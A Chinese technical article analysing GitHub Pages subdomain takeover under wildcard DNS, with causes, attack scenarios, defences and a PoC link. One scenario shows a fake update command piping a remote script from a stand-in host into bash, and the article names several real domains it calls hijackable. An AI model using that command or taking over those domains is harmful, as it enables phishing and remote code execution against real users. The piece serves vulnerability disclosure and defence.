技术分析 | 我们来“劫持”个GitHub自定义域名玩吧!
字数 1180 2025-08-18 11:37:19
GitHub Pages 自定义域名劫持漏洞分析与防范指南
漏洞背景
GitHub Pages 服务允许用户为项目设置自定义域名,但存在一个潜在的安全风险:当用户使用泛解析(如 *.example.com)将域名指向 GitHub Pages 服务器时,其他 GitHub 用户可能劫持该域名的任意二级域名。
技术原理
正常解析流程
-
单独二级域名解析:
www.deepwn.com => GitHub Page- 用户为特定项目设置自定义域名
- DNS 解析指向 GitHub 服务器
- GitHub 正确显示对应项目内容
-
泛解析流程:
*.deepwn.com => GitHub Page- 所有二级域名都指向 GitHub 服务器
- 未明确绑定的二级域名会显示 GitHub 404 页面
漏洞产生原因
- GitHub 服务器不会验证域名所有者身份
- 任何 GitHub 用户都可以将自己的项目部署到任意域名
- 缺乏"双向验证"机制确认域名控制权
攻击场景
- 钓鱼攻击:劫持
login.example.com制作 GitHub 登录钓鱼页面 - 文档篡改:克隆项目文档页面,插入恶意脚本
- 恶意更新:伪造"一键更新"命令:
curl -sL http://patch.example.com/update.sh | bash
实际案例
作者在一天内发现了11个可劫持的域名,包括:
- androidx.debayes.dk
- claudiuandrei.com
- crunchbitcoin.com
- hijack.michellerobinscreative.com (作者演示用)
- lit.max.pub
- paulispace.com
防范措施
对于GitHub用户
-
避免使用泛解析:
- 不要设置
*.example.com这样的DNS记录 - 为每个项目单独配置DNS解析
- 不要设置
-
定期检查:
- 验证所有二级域名是否指向预期项目
- 检查是否有未授权的项目绑定到你的域名
-
使用CNAME记录:
- 优先使用CNAME而非A记录
- 确保只解析到你的特定项目
对于GitHub的建议
-
实现双向验证机制:
- 要求用户添加TXT记录验证域名所有权
- 类似邮件服务的域名验证方式
-
加强警告提示:
- 在设置泛解析时显示明显警告
- 对可疑绑定行为进行提醒
当前状态
GitHub官方已将此问题标记为"超出项目接受范围",短期内不会修复。目前仅在帮助文档中添加了警告信息:
https://help.github.com/articles/troubleshooting-custom-domains/#unsupported-custom-domain-name
POC示例
作者提供了一个概念验证项目:
https://github.com/deepwn/GitPageHijack/
总结
关键安全建议:
- 绝对不要在GitHub Pages中使用泛解析
- 为每个项目单独配置DNS记录
- 定期检查域名解析情况
- 提高安全意识,防范可能的钓鱼攻击
通过遵循这些准则,可以显著降低自定义域名被劫持的风险。